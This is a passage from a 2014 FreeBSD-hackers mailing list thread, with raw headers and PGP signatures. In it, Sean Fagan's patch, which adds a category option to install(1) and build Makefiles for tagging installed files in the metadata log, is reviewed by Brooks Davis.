META_LOG_SYMBOLS than necessicary (_META_INFO). > +.endif > + > .if defined(KMODDEPS) > .error "Do not use KMODDEPS on 5.0+; use MODULE_VERSION/MODULE_DEPEND" > .endif > @@ -287,7 +291,7 @@ _kmodinstall: > .if defined(DEBUG_FLAGS) && !defined(INSTALL_NODEBUG) && \ > (defined(MK_KERNEL_SYMBOLS) && ${MK_KERNEL_SYMBOLS} !=3D "no") > ${INSTALL} -o ${KMODOWN} -g ${KMODGRP} -m ${KMODMODE} \ > - ${_INSTALLFLAGS} ${PROG}.symbols ${DESTDIR}${KMODDIR} > + ${_INSTALLFLAGS} ${META_LOG_SYMBOLS} ${PROG}.symbols ${DESTDIR}${KM= ODDIR} > .endif > =20 > .include > diff --git a/tools/install.sh b/tools/install.sh > index c28bd89..a88387b 100644 > --- a/tools/install.sh > +++ b/tools/install.sh > @@ -35,7 +35,7 @@ while [ $# -gt 0 ]; do > case $1 in > -d) dirmode=3D"YES"; shift;; > -[bCcpSsv]) shift;; > - -[BDfghMmNoTU]) shift; shift;; > + -[PBDfghMmNoTU]) shift; shift;; > -[BDfghMmNoTU]*) shift;; > -l) > shift > diff --git a/usr.bin/Makefile b/usr.bin/Makefile > index 5e3f152..eecd5ec 100644 > --- a/usr.bin/Makefile > +++ b/usr.bin/Makefile > @@ -1,6 +1,9 @@ > # From: @(#)Makefile 8.3 (Berkeley) 1/7/94 > # $FreeBSD$ > =20 > +META_CATEGORY=3Dbase > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > # XXX MISSING: deroff diction graph learn plot > diff --git a/usr.bin/clang/Makefile b/usr.bin/clang/Makefile > index db5fae7..b4a52f3 100644 > --- a/usr.bin/clang/Makefile > +++ b/usr.bin/clang/Makefile > @@ -1,5 +1,8 @@ > # $FreeBSD$ > =20 > +META_CATEGORY=3Ddev > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > SUBDIR=3D clang clang-tblgen tblgen > diff --git a/usr.bin/lex/Makefile b/usr.bin/lex/Makefile > index 947eba1..1ba000e 100644 > --- a/usr.bin/lex/Makefile > +++ b/usr.bin/lex/Makefile > @@ -9,6 +9,9 @@ > # Also note that flex.skel no longer gets installed. > # > =20 > +META_CATEGORY=3D dev > +.EXPORTVAR: META_CATEGORY > + > PROG=3D lex > LINKS+=3D ${BINDIR}/lex ${BINDIR}/lex++ > LINKS+=3D ${BINDIR}/lex ${BINDIR}/flex > diff --git a/usr.bin/xinstall/xinstall.c b/usr.bin/xinstall/xinstall.c > index 15b115a..a05a87c 100644 > --- a/usr.bin/xinstall/xinstall.c > +++ b/usr.bin/xinstall/xinstall.c > @@ -116,7 +116,7 @@ static mode_t mode =3D S_IRWXU | S_IRGRP | S_IXGRP | = S_IROTH | S_IXOTH; > static FILE *metafp; > static const char *group, *owner; > static const char *suffix =3D BACKUP_SUFFIX; > -static char *destdir, *digest, *fflags, *metafile, *tags; > +static char *destdir, *digest, *fflags, *metafile, *category, *tags; > =20 > static int compare(int, const char *, size_t, int, const char *, size_t, > char **); > @@ -151,9 +151,11 @@ main(int argc, char *argv[]) > char *p; > const char *to_name; > =20 > + category =3D getenv("META_CATEGORY"); > + > iflags =3D 0; > group =3D owner =3D NULL; > - while ((ch =3D getopt(argc, argv, "B:bCcD:df:g:h:l:M:m:N:o:pSsT:Uv")) != =3D > + while ((ch =3D getopt(argc, argv, "B:bCcD:df:g:h:l:M:m:N:o:pSsT:UvP:"))= !=3D > -1) > switch((char)ch) { > case 'B': > @@ -216,6 +218,10 @@ main(int argc, char *argv[]) > case 'M': > metafile =3D optarg; > break; > + case 'P': > + if (strlen(optarg) > 0) > + category =3D optarg; > + break; > case 'm': > haveopt_m =3D 1; > if (!(set =3D setmode(optarg))) > @@ -634,7 +640,7 @@ makelink(const char *from_name, const char *to_name, > if (!haveopt_f) > fflags =3D NULL; > dres =3D digest_file(from_name); > - metadata_log(to_name, "file", NULL, NULL, > + metadata_log(to_name, "hlink", NULL, destdir ? from_name + strlen(de= stdir) : from_name, > dres, to_sb.st_size); > free(dres); > mode =3D omode; > @@ -1337,9 +1343,15 @@ metadata_log(const char *path, const char *type, s= truct timeval *tv, > if (group) > fprintf(metafp, " gname=3D%s", group); > fprintf(metafp, " mode=3D%#o", mode); > - if (slink) { > + if (slink && > + (strcmp(type, "link") =3D=3D 0 || > + strcmp(type, "hlink") =3D=3D 0)) { > + const char *prefix =3D ""; > strsvis(buf, slink, VIS_CSTYLE, extra); /* encode link */ > - fprintf(metafp, " link=3D%s", buf); > + if (strcmp(type, "hlink") =3D=3D 0) { > + prefix =3D "."; > + } > + fprintf(metafp, " %s=3D%s%s", type, prefix, buf); > } > if (*type =3D=3D 'f') /* type=3Dfile */ > fprintf(metafp, " size=3D%lld", (long long)size); > @@ -1352,6 +1364,8 @@ metadata_log(const char *path, const char *type, st= ruct timeval *tv, > fprintf(metafp, " flags=3D%s", fflags); > if (tags) > fprintf(metafp, " tags=3D%s", tags); > + if (category) > + fprintf(metafp, " category=3D%s", category); > fputc('\n', metafp); > /* Flush line. */ > fflush(metafp); > @@ -1372,15 +1386,15 @@ usage(void) > { > (void)fprintf(stderr, > "usage: install [-bCcpSsUv] [-f flags] [-g group] [-m mode] [-o owner]\n" > -" [-M log] [-D dest] [-h hash] [-T tags]\n" > +" [-M log] [-P category] [-D dest] [-h hash] [-T tags]\n" > " [-B suffix] [-l linkflags] [-N dbdir]\n" > " file1 file2\n" > " install [-bCcpSsUv] [-f flags] [-g group] [-m mode] [-o owner]\n" > -" [-M log] [-D dest] [-h hash] [-T tags]\n" > +" [-M log] [-P category] [-D dest] [-h hash] [-T tags]\n" > " [-B suffix] [-l linkflags] [-N dbdir]\n" > " file1 ... fileN directory\n" > " install -dU [-vU] [-g group] [-m mode] [-N dbdir] [-o owner]\n" > -" [-M log] [-D dest] [-h hash] [-T tags]\n" > +" [-M log] [-P category] [-D dest] [-h hash] [-T tags]\n" > " directory ...\n"); > exit(EX_USAGE); > /* NOTREACHED */ > diff --git a/usr.sbin/Makefile b/usr.sbin/Makefile > index 7a6fefd..4c3b89f 100644 > --- a/usr.sbin/Makefile > +++ b/usr.sbin/Makefile > @@ -1,6 +1,9 @@ > # From: @(#)Makefile 5.20 (Berkeley) 6/12/93 > # $FreeBSD$ > =20 > +META_CATEGORY=3Dbase > +.EXPORTVAR: META_CATEGORY > + > .include > =20 > SUBDIR=3D adduser \ > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" --rwEMma7ioTxnRzrJ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iKYEARECAGYFAlO+ssJfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDY1NUQ1MTlDMjZBNzgyRTcyNTI5OUJGMDVE OEU4QkU5RjIzODFBRDQACgkQXY6L6fI4GtRlpQCgtEBBS72lx6nC/94E7tPaZsfV RfsAnA0ciNHYiefTsor5tJrHVe9u8Chl =2ADx -----END PGP SIGNATURE----- --rwEMma7ioTxnRzrJ-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 16:26:24 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 46ADA301 for ; Thu, 10 Jul 2014 16:26:24 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2041E2B9A for ; Thu, 10 Jul 2014 16:26:23 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id ACEC174B89 for ; Thu, 10 Jul 2014 09:26:22 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 94391-02 for ; Thu, 10 Jul 2014 09:26:22 -0700 (PDT) Received: from [10.0.1.11] (base.kithrup.com [173.164.180.195]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id C416A74B84 for ; Thu, 10 Jul 2014 09:26:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1405009582; bh=p8TzIhjo7ZG1VUkDkb0zKVMMhE7xGOAHEDMMObo4FhU=; h=Subject:From:In-Reply-To:Date:References:To; b=kVSyh3Wi/S3DXaMwBt6eJsTWJyZATdHYqWmQwDPgp1Ell7pJODyy2O031g1o8x65S V6mnGicDKgVyysMQ/Msah2Pn/t7QWN69zLN1ufaC+u0BIT3bSycHPw5AwiRlRnqmfh L0yEw4sYbv7AvCO7KfY9vyY85uoALCPZST9+wGl0= Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) Subject: Re: Expanding on NO_ROOT: Categorizing installed files From: Sean Fagan In-Reply-To: <20140710153530.GA16174@lor.one-eyed-alien.net> Date: Thu, 10 Jul 2014 09:26:19 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: References: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> <20140710153530.GA16174@lor.one-eyed-alien.net> To: hackers@freebsd.org X-Mailer: Apple Mail (2.1878.6) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 16:26:24 -0000 On Jul 10, 2014, at 8:35 AM, Brooks Davis wrote: > I very much like the functionalty and think it's a good idea. It was mostly Xin and Jordan's idea :). ("Wouldn't it be nice if we = could use that somehow? Sean, go do that.") > I don't > understand why you didn't use the existing -T/tags=3D mechanism in > install which we're already using for debug info. A couple of reasons: first, because it wasn't clear to me who was using = -T, and I didn't want to alter the functionality of that; second, because I = wasn't clear how one would have multiple tags. (The latter is not a huge deal, I can = obviously code that up easily enough, and make a comma-separated list in install.) I had initially called it "package", btw, and that shows up in some = places still. "category" seemed like a better name. >=20 >> diff --git a/Makefile.inc1 b/Makefile.inc1 >> index c0591b6..b9edd0d 100644 >> --- a/Makefile.inc1 >> +++ b/Makefile.inc1 >> @@ -14,6 +14,7 @@ >> # -DNO_KERNELOBJ do not run ${MAKE} obj in ${MAKE} buildkernel >> # -DNO_PORTSUPDATE do not update ports in ${MAKE} update >> # -DNO_ROOT install without using root privilege >> +# -DLOG_META_INFO Log metadata about installed files >=20 > I don't see much value in supporting the metadata log in the install = as > root case. Is there are reason it's needed? I initially only used NO_ROOT. However, then when I started making = packages using that, I found out that I really did need to have the install run = as root, because I could not specify all of the mode bits in the PKGNG manifest, and thus = I needed tar to pick them up. (Eventually, admittedly, I did end up using the = python tarfile module, and so that's an option. However, getting the right bits in the = tarfile module in python is a pain, and it's easier to let it set things from the = actual filesystem.) Further, I didn't assume everyone who wanted to use this would want to = do full packaging, but might want to instead simply use grep and tar to pick which files. = Or many other things. So I opted for the most flexible variant, which was to keep NO_ROOT = behaving as it did, and add another case that used most of the work from NO_ROOT. Does that make sense? >>=20 >> distributekernel distributekernel.debug: >> diff --git a/bin/Makefile b/bin/Makefile >> index e5052ca..ca218ac 100644 >> --- a/bin/Makefile >> +++ b/bin/Makefile >> @@ -1,6 +1,9 @@ >> # From: @(#)Makefile 8.1 (Berkeley) 5/31/93 >> # $FreeBSD$ >>=20 >> +META_CATEGORY=3D base >=20 > I belive this should be in bin/Makefile.inc which will eliminate the = need > for .EXPORTVAR. I will try that later; thanks. >> diff --git a/lib/csu/amd64/Makefile b/lib/csu/amd64/Makefile >> index afe7fe6..5616e04 100644 >> --- a/lib/csu/amd64/Makefile >> +++ b/lib/csu/amd64/Makefile >> @@ -9,6 +9,9 @@ CFLAGS+=3D -I${.CURDIR}/../common \ >> -I${.CURDIR}/../../libc/include >> CFLAGS+=3D -fno-omit-frame-pointer >>=20 >> +META_CATEGORY=3D base >> +.EXPORTVAR: META_CATEGORY >> + >=20 > I think the .EXPORTVAR is gratutious here and in the other > lib/*/Makefiles. For that matter, I don't understand why it's needed = at > all given the presence of META_CATEGORY in lib/Makefile. I didn't put it in all of the Makefiles, and the reason for having it in the environment was to allow for sub-directories to pick it up; it also allows for them to easily over-ride it. (E.g., for any library in = src/lib which someone might decide shouldn't really be part of base.) >> diff --git a/share/man/man9/Makefile b/share/man/man9/Makefile >> index dfa450e8..268ce8a 100644 >> --- a/share/man/man9/Makefile >> +++ b/share/man/man9/Makefile >> @@ -1,5 +1,8 @@ >> # $FreeBSD$ >>=20 >> +META_CATEGORY=3D kernel >=20 > I can see some loging in this, but it seems like a somewhat odd = choice. Odd choice how? >>=20 >> diff --git a/share/mk/bsd.links.mk b/share/mk/bsd.links.mk >> index 1e4d57e..c9f83f0 100644 >> --- a/share/mk/bsd.links.mk >> +++ b/share/mk/bsd.links.mk >> @@ -8,7 +8,8 @@ afterinstall: _installlinks >> .ORDER: realinstall _installlinks >> _installlinks: >> .if defined(LINKS) && !empty(LINKS) >> - @set ${LINKS}; \ >> + @echo LINKFOO >> + set ${LINKS}; \ >=20 > This looks like a debug leftover. >=20 >> while test $$# -ge 2; do \ >> l=3D${DESTDIR}$$1; \ >> shift; \ >> @@ -19,7 +20,8 @@ _installlinks: >> done; true >> .endif >> .if defined(SYMLINKS) && !empty(SYMLINKS) >> - @set ${SYMLINKS}; \ >> + @echo SYMFOO >> + set ${SYMLINKS}; \ >=20 > This too. snicker. Yeah, sorry. I thought I'd gotten rid of those after I = figured out what to do :). >> diff --git a/sys/conf/kmod.mk b/sys/conf/kmod.mk >> index cd11e3a..ea50d33 100644 >> --- a/sys/conf/kmod.mk >> +++ b/sys/conf/kmod.mk >> @@ -68,6 +68,10 @@ KMODLOAD?=3D /sbin/kldload >> KMODUNLOAD?=3D /sbin/kldunload >> OBJCOPY?=3D objcopy >>=20 >> +.if defined(META_CATEGORY) >> +META_LOG_SYMBOLS=3D -P ${META_CATEGORY}:dev >=20 > There seem to be more spellings of META_LOG_SYMBOLS than necessicary > (_META_INFO). I'm not sure what you mean? Thank you very much for the feedback! (Replying to just the list for now; if you would rather I reply to you = as well in the future, please let me know.) Sean. From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 16:41:20 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4CFA87EE for ; Thu, 10 Jul 2014 16:41:20 +0000 (UTC) Received: from lor.one-eyed-alien.net (lor.one-eyed-alien.net [69.66.77.232]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 014E52C9B for ; Thu, 10 Jul 2014 16:41:19 +0000 (UTC) Received: from lor.one-eyed-alien.net (localhost [127.0.0.1]) by lor.one-eyed-alien.net (8.14.7/8.14.7) with ESMTP id s6AGfDNC017135; Thu, 10 Jul 2014 11:41:13 -0500 (CDT) (envelope-from brooks@lor.one-eyed-alien.net) Received: (from brooks@localhost) by lor.one-eyed-alien.net (8.14.7/8.14.7/Submit) id s6AGfDgu017134; Thu, 10 Jul 2014 11:41:13 -0500 (CDT) (envelope-from brooks) Date: Thu, 10 Jul 2014 11:41:13 -0500 From: Brooks Davis To: Sean Fagan Subject: Re: Expanding on NO_ROOT: Categorizing installed files Message-ID: <20140710164113.GA17057@lor.one-eyed-alien.net> References: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> <20140710153530.GA16174@lor.one-eyed-alien.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Q68bSM7Ycu6FN28Q" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 16:41:20 -0000 --Q68bSM7Ycu6FN28Q Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Jul 10, 2014 at 09:26:19AM -0700, Sean Fagan wrote: > On Jul 10, 2014, at 8:35 AM, Brooks Davis wrote: >=20 > > I very much like the functionalty and think it's a good idea. >=20 > It was mostly Xin and Jordan's idea :). ("Wouldn't it be nice if we could > use that somehow? Sean, go do that.") >=20 > > I don't > > understand why you didn't use the existing -T/tags=3D mechanism in > > install which we're already using for debug info. >=20 > A couple of reasons: first, because it wasn't clear to me who was using = -T, > and I didn't want to alter the functionality of that; second, because I w= asn't clear > how one would have multiple tags. (The latter is not a huge deal, I can = obviously > code that up easily enough, and make a comma-separated list in install.) >=20 > I had initially called it "package", btw, and that shows up in some place= s still. > "category" seemed like a better name. I'd prefer we just expand the use of tags. Thus far a seperator isn't defined, but : seems as good as any. It would be worth checking if NetBSD (where -T came from) uses anything. > >> diff --git a/Makefile.inc1 b/Makefile.inc1 > >> index c0591b6..b9edd0d 100644 > >> --- a/Makefile.inc1 > >> +++ b/Makefile.inc1 > >> @@ -14,6 +14,7 @@ > >> # -DNO_KERNELOBJ do not run ${MAKE} obj in ${MAKE} buildkernel > >> # -DNO_PORTSUPDATE do not update ports in ${MAKE} update > >> # -DNO_ROOT install without using root privilege > >> +# -DLOG_META_INFO Log metadata about installed files > >=20 > > I don't see much value in supporting the metadata log in the install as > > root case. Is there are reason it's needed? >=20 > I initially only used NO_ROOT. However, then when I started making packa= ges > using that, I found out that I really did need to have the install run as= root, because > I could not specify all of the mode bits in the PKGNG manifest, and thus = I needed > tar to pick them up. (Eventually, admittedly, I did end up using the pyt= hon tarfile > module, and so that's an option. However, getting the right bits in the = tarfile module > in python is a pain, and it's easier to let it set things from the actual= filesystem.) > Further, I didn't assume everyone who wanted to use this would want to do= full packaging, > but might want to instead simply use grep and tar to pick which files. O= r many other > things. >=20 > So I opted for the most flexible variant, which was to keep NO_ROOT behav= ing as it did, > and add another case that used most of the work from NO_ROOT. >=20 > Does that make sense? Yes. I'm reluctant to add yet another option to the toplevel make as that's one more thing to test or break. Ideally we'd add support for filtering on catagory/tag to libarchive and do all that stuff there. Purly FYI, my eventual plan is to generate a METALOG as part of buildworld/buildkernel so the install* targets just run tar and dramatically limit root privilage use. > >> distributekernel distributekernel.debug: > >> diff --git a/bin/Makefile b/bin/Makefile > >> index e5052ca..ca218ac 100644 > >> --- a/bin/Makefile > >> +++ b/bin/Makefile > >> @@ -1,6 +1,9 @@ > >> # From: @(#)Makefile 8.1 (Berkeley) 5/31/93 > >> # $FreeBSD$ > >>=20 > >> +META_CATEGORY=3D base > >=20 > > I belive this should be in bin/Makefile.inc which will eliminate the ne= ed > > for .EXPORTVAR. >=20 > I will try that later; thanks. >=20 > >> diff --git a/lib/csu/amd64/Makefile b/lib/csu/amd64/Makefile > >> index afe7fe6..5616e04 100644 > >> --- a/lib/csu/amd64/Makefile > >> +++ b/lib/csu/amd64/Makefile > >> @@ -9,6 +9,9 @@ CFLAGS+=3D -I${.CURDIR}/../common \ > >> -I${.CURDIR}/../../libc/include > >> CFLAGS+=3D -fno-omit-frame-pointer > >>=20 > >> +META_CATEGORY=3D base > >> +.EXPORTVAR: META_CATEGORY > >> + > >=20 > > I think the .EXPORTVAR is gratutious here and in the other > > lib/*/Makefiles. For that matter, I don't understand why it's needed at > > all given the presence of META_CATEGORY in lib/Makefile. >=20 > I didn't put it in all of the Makefiles, and the reason for having it in > the environment was to allow for sub-directories to pick it up; it also > allows for them to easily over-ride it. (E.g., for any library in src/lib > which someone might decide shouldn't really be part of base.) I think I wasn't clear here. Given that META_CATEGORY=3Dbase should be in the environment already, I don't see why you need to define it in some of the library make files. Thinking about it more, I find my self wondering if it's a workaround for the failure to use Makefile.inc. > >> diff --git a/share/man/man9/Makefile b/share/man/man9/Makefile > >> index dfa450e8..268ce8a 100644 > >> --- a/share/man/man9/Makefile > >> +++ b/share/man/man9/Makefile > >> @@ -1,5 +1,8 @@ > >> # $FreeBSD$ > >>=20 > >> +META_CATEGORY=3D kernel > >=20 > > I can see some loging in this, but it seems like a somewhat odd choice. >=20 > Odd choice how? While section 9 manpages document the kernel, I don't see them as part of it. > >> diff --git a/sys/conf/kmod.mk b/sys/conf/kmod.mk > >> index cd11e3a..ea50d33 100644 > >> --- a/sys/conf/kmod.mk > >> +++ b/sys/conf/kmod.mk > >> @@ -68,6 +68,10 @@ KMODLOAD?=3D /sbin/kldload > >> KMODUNLOAD?=3D /sbin/kldunload > >> OBJCOPY?=3D objcopy > >>=20 > >> +.if defined(META_CATEGORY) > >> +META_LOG_SYMBOLS=3D -P ${META_CATEGORY}:dev > >=20 > > There seem to be more spellings of META_LOG_SYMBOLS than necessicary > > (_META_INFO). >=20 > I'm not sure what you mean? You use a variety of variables used to hold "" or "-P ${META_CATEGORY}..." in different Makefiles. It seems like they should be the same where possible. -- Brooks --Q68bSM7Ycu6FN28Q Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iKUEARECAGYFAlO+wihfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDY1NUQ1MTlDMjZBNzgyRTcyNTI5OUJGMDVE OEU4QkU5RjIzODFBRDQACgkQXY6L6fI4GtQ2AwCgzFHYZtvUytwWVisW6C/RYXjs IcAAmI+pzo+vuX8NP/mVbDTGWcD+6Y8= =m4yS -----END PGP SIGNATURE----- --Q68bSM7Ycu6FN28Q-- From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 16:55:48 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6CFBCD87; Thu, 10 Jul 2014 16:55:48 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3B5812E22; Thu, 10 Jul 2014 16:55:47 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id D8D55796C4; Thu, 10 Jul 2014 09:55:45 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 95247-04; Thu, 10 Jul 2014 09:55:45 -0700 (PDT) Received: from [10.0.1.11] (base.kithrup.com [173.164.180.195]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id E98CA796BF; Thu, 10 Jul 2014 09:55:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1405011345; bh=503Mozdm/+Dh5y5J0WbwSsXsZSPh+2c8/ZUEkoTw5yU=; h=Subject:From:In-Reply-To:Date:Cc:References:To; b=WYpT0GLva5YEeOvkHGA7HFvLsRNDsEAS/PRqXhYLOcQX+qXqJyQPWcN72jkuLH/Y0 9uZ94mvyexa7d6go/OsGuC+ev4HliE9si7zIWZhndCbS3qvAkcn3c+AmDundpiJbj3 Go0eRtYgymSlSYa0zwP4zHo6hVlOpenN9iFkJ48w= Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) Subject: Re: Expanding on NO_ROOT: Categorizing installed files From: Sean Fagan In-Reply-To: <20140710164113.GA17057@lor.one-eyed-alien.net> Date: Thu, 10 Jul 2014 09:55:43 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <132F1812-310F-4941-A08B-90D5DB83A7C8@ixsystems.com> References: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> <20140710153530.GA16174@lor.one-eyed-alien.net> <20140710164113.GA17057@lor.one-eyed-alien.net> To: Brooks Davis X-Mailer: Apple Mail (2.1878.6) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Jul 2014 16:55:48 -0000 On Jul 10, 2014, at 9:41 AM, Brooks Davis wrote: > I'd prefer we just expand the use of tags. Thus far a seperator isn't > defined, but : seems as good as any. It would be worth checking if > NetBSD (where -T came from) uses anything. I'd use commas, as I'm already using : to indicate sub-categories. (And my packagifying script does use that.) Using the same option, however, causes some problems here: the use of environment variables to allow easy inheritence. Note the effort = that the various makefiles go to to ensure that INSTALL and its various = options get passed around properly; using the environment variable simplified = that significantly. And that means it can't simply let the command-line = override the environment variable, because someone adding a tag for debugging (as you indicated it was used) would result in a mis-categorization, = *or* it means that you can't have the environment variable and then over-ride it with the command-line option. Let me think about this for a couple of days, and experiment a bit with = it. >>=20 >> So I opted for the most flexible variant, which was to keep NO_ROOT = behaving as it did, >> and add another case that used most of the work from NO_ROOT. >>=20 >> Does that make sense? >=20 > Yes. I'm reluctant to add yet another option to the toplevel make as > that's one more thing to test or break. I understand that. But I did try it both ways, and having it as another = option gave me a lot more flexibility and desirable results. > Ideally we'd add support for filtering on catagory/tag to libarchive = and > do all that stuff there. >=20 > Purly FYI, my eventual plan is to generate a METALOG as part of > buildworld/buildkernel so the install* targets just run tar and > dramatically limit root privilage use. Hm, interesting. That's a lot of makefile rewriting, I think (both for = the top-level makefiles, the included makefiles, and the individual = makefiles). >>>=20 >>> I think the .EXPORTVAR is gratutious here and in the other >>> lib/*/Makefiles. For that matter, I don't understand why it's = needed at >>> all given the presence of META_CATEGORY in lib/Makefile. >>=20 >> I didn't put it in all of the Makefiles, and the reason for having it = in >> the environment was to allow for sub-directories to pick it up; it = also >> allows for them to easily over-ride it. (E.g., for any library in = src/lib >> which someone might decide shouldn't really be part of base.) >=20 > I think I wasn't clear here. Given that META_CATEGORY=3Dbase should = be in > the environment already, I don't see why you need to define it in some > of the library make files. Thinking about it more, I find my self > wondering if it's a workaround for the failure to use Makefile.inc. Possibly. As I said, I'll try it later. Some of it may also be = hold-over from before I was using the environment variable. Fewer changes make me a happier person. :) >=20 >>>> diff --git a/share/man/man9/Makefile b/share/man/man9/Makefile >>>> index dfa450e8..268ce8a 100644 >>>> --- a/share/man/man9/Makefile >>>> +++ b/share/man/man9/Makefile >>>> @@ -1,5 +1,8 @@ >>>> # $FreeBSD$ >>>>=20 >>>> +META_CATEGORY=3D kernel >>>=20 >>> I can see some loging in this, but it seems like a somewhat odd = choice. >>=20 >> Odd choice how? >=20 > While section 9 manpages document the kernel, I don't see them as part = of > it. I actually was wondering if it should actually be part of "dev", or if I = should go further than I had and have it end up as "kernel:dev:doc". >=20 >>>> diff --git a/sys/conf/kmod.mk b/sys/conf/kmod.mk >>>> index cd11e3a..ea50d33 100644 >>>> --- a/sys/conf/kmod.mk >>>> +++ b/sys/conf/kmod.mk >>>> @@ -68,6 +68,10 @@ KMODLOAD?=3D /sbin/kldload >>>> KMODUNLOAD?=3D /sbin/kldunload >>>> OBJCOPY?=3D objcopy >>>>=20 >>>> +.if defined(META_CATEGORY) >>>> +META_LOG_SYMBOLS=3D -P ${META_CATEGORY}:dev >>>=20 >>> There seem to be more spellings of META_LOG_SYMBOLS than necessicary >>> (_META_INFO). >>=20 >> I'm not sure what you mean? >=20 > You use a variety of variables used to hold "" or "-P > ${META_CATEGORY}..." in different Makefiles. It seems like they = should > be the same where possible. Ah! Cleanup work: done at different stages, that's all. In some cases, I = also had to worry about multiple inclusions of the same .mk file, but for the = most part, it's just stuff that I forgot to clean up. And that's why I wanted comments and feedback! Sean.= From owner-freebsd-hackers@FreeBSD.ORG Thu Jul 10 17:03:14 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7E7F4F80 for ; Thu, 10 Jul 2014 17:03:14 +0000 (UTC) Received: from c.mail.sonic.net (c.mail.sonic.net [64.142.111.80]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 64E9E2EDD for ; Thu, 10 Jul 2014 17:03:14 +0000 (UTC) Received: from aurora.physics.berkeley.edu (aurora.Physics.Berkeley.EDU [128.32.117.67]) (authenticated bits=0) by c.mail.sonic.net (8.14.9/8.14.9) with ESMTP id s6AH3B1e023866 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Thu, 10 Jul 2014 10:03:12 -0700 Message-ID: <53BEC74F.6070803@freebsd.org> Date: Thu, 10 Jul 2014 10:03:11 -0700 From: 